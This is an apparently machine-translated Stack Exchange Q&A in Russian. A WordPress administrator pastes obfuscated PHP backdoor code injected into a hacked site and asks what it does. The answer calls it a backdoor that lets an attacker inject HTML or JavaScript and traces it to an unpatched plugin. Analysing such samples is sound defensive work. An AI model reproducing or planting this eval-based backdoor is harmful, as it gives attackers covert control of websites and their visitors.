Сайт взломанного сайта Wordpress: Un obfuscate вредоносный код

Question

Один из сайтов, которыми я управляю, был взломан через установку wordpress в общей среде.

Похоже, что некоторые вредоносные программы были введены во все php-файлы на сервере. Мне удалось удалить все ссылки на код и изменить все пароли. Впоследствии ив получали неудачный вход attemps из ф в украине ...

<?php 

if (!isset($GLOBALS["\x61\156\x75\156\x61"])) 
{ 
    $ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); 
    if ((!strstr($ua, "\x6d\163\x69\145")) and(!strstr($ua, "\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"] = 1; 
} 


?> 
    <?php 

    $vkvmlmaavg = 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}4%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%14252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]yx785cq%x5c%x7825%x5c%x7827j>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x78608]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}Ux787f;!opjudovg}k~~9{d%x5c%x7825:osv*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;uA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]2]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6!2p%x5c%x7825!*3>?*2b%x5c%x7825)7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cdc%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x78=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x786x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP56%152%x66%147%x67%42%x2c%163%x73Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj65,d7R17,67R37,#%x5c%x782fq%x556<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x7825x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>76]277]y72]265]y39]271]y83]256]y78]248]y83]256]25}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)x7825!osvufs!*!+A!>!<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%))1%x5c%x782f35.)1%x5c%x782f12]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6ww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5cc%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kc%x7825!*9!%x5c%x7827!hmg%x5c%x782yfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!5r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%) && (!isset($GLOBALS["%x61%156%x75%156%x61"])5c%x782f7^#iubq#%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u25%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<43]321]464]284]364]6]2/(.*)/epreg_replacekjfgnktllk'; 
$acpbcdcqwr = explode(chr((169 - 125)), '1655,54,9690,46,6518,63,6253,65,7910,69,223,49,8581,31,7446,62,6068,59,6431,60,9241,70,1801,68,5545,25,8758,56,1605,50,8661,68,9867,70,85,41,7979,55,4228,45,9814,53,1709,36,806,52,417,28,5389,29,3938,67,2879,51,2355,66,4132,36,9736,21,7559,27,4273,58,1137,70,2795,43,8459,54,768,38,4005,39,8034,63,4168,23,3430,64,1909,54,5334,55,477,53,10029,55,4191,37,3375,55,4401,43,8915,56,6491,27,6844,56,9624,66,3661,32,6000,68,6581,43,858,25,5598,32,4686,47,7049,61,595,46,3791,36,9484,34,2630,27,5870,69,5243,34,272,37,2066,47,7350,28,2113,63,4884,44,1490,56,8814,54,8195,32,7685,32,2956,57,2228,33,7206,29,2551,29,641,41,7235,38,7847,63,7586,44,2838,41,3097,55,1305,59,0,52,1427,63,8227,41,3304,49,5630,35,4044,67,4444,22,6900,30,916,33,8991,61,6784,60,9518,51,9355,64,52,33,354,63,2421,68,7811,36,3597,34,7110,40,5136,23,3895,43,1077,60,9982,47,8971,20,530,65,5780,24,6127,60,5075,61,8729,29,1207,28,188,35,309,45,5804,66,7771,40,3220,30,3250,54,2930,26,8368,40,1869,40,5731,49,4802,47,1392,35,3013,50,8097,62,7273,33,3063,34,7186,20,445,32,4111,21,9311,44,732,36,2657,69,2261,33,5570,28,3152,68,5451,29,6983,36,2294,61,1235,70,5665,66,949,58,4928,53,883,33,9052,47,1963,67,9937,45,5159,38,5197,46,3827,43,2580,50,4849,35,1546,59,6187,66,3353,22,2726,23,1007,70,5480,65,5939,61,7019,30,126,62,7306,44,6340,43,9569,55,9183,58,4584,65,3721,70,9757,57,4466,63,2489,62,2030,36,4733,69,3693,28,7150,36,8513,68,8159,36,682,50,4649,37,6318,22,8612,49,7717,54,1745,56,7378,56,3870,25,9128,55,5418,33,10084,22,3494,66,9099,29,6624,59,5033,42,4981,52,8307,61,8268,39,5277,57,3560,37,4331,70,8408,51,6731,53,4529,55,3631,30,6383,48,9419,65,6930,53,2176,52,6683,48,7508,51,8868,47,1364,28,7630,55,2749,46,7434,12'); 
$krdnhuyxrk = substr($vkvmlmaavg, (38379 - 28273), (35 - 28)); 
if (!function_exists('bvbkmkuetp')) 
{ 
    function bvbkmkuetp($lkmdhuzumr, $syqugkbwaa) 
    { 
     $wkmwfztjxy = NULL; 
     for ($wpopdgyvwt = 0; $wpopdgyvwt < (sizeof($lkmdhuzumr)/2); $wpopdgyvwt++) 
     { 
      $wkmwfztjxy. = substr($syqugkbwaa, $lkmdhuzumr[($wpopdgyvwt * 2)], $lkmdhuzumr[($wpopdgyvwt * 2) + 1]); 
     } 
     return $wkmwfztjxy; 
    }; 
} 
$knticqyoeu = "\x20\57\x2a\40\x62\170\x71\151\x75\171\x62\146\x6d\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x36\55\x31\66\x39\51\x29\54\x20\143\x68\162\x28\50\x35\71\x30\55\x34\71\x38\51\x29\54\x20\142\x76\142\x6b\155\x6b\165\x65\164\x70\50\x24\141\x63\160\x62\143\x64\143\x71\167\x72\54\x24\166\x6b\166\x6d\154\x6d\141\x61\166\x67\51\x29\51\x3b\40\x2f\52\x20\167\x68\156\x75\164\x6c\152\x78\153\x70\40\x2a\57\x20"; 
$lrykfpczcb = substr($vkvmlmaavg, (55025 - 44912), (61 - 49)); 
$lrykfpczcb($krdnhuyxrk, $knticqyoeu, NULL); 
$lrykfpczcb = $knticqyoeu; 
$lrykfpczcb = (376 - 255); 
$vkvmlmaavg = $lrykfpczcb - 1; 
?> 

Моего вопроса, что делает этот код делать? Я попробовал довольно много инструментов для обфускации, но это безуспешно. Кто-нибудь может помочь расшифровать это?

Answer 1

Этот вопрос был дан ответ на другом сайте Stack Exchange Server: https://security.stackexchange.com/questions/70579/is-this-a-backdoor

Выдержки из этого ответа:

Эта часть весьма запутанном код содержит программу, чтобы позволить хакеру динамически добавлять любой HTML или Javascript

...

оказывается, что уязвимость Wordpress была введена непропатченными версиями Мая lPoet плагин

...

Ключ вынос из этого инцидента сделать резервную копию ваших данных часто и обновлять программное обеспечение добросовестно

Ответил https://security.stackexchange.com/users/9312/question-overflow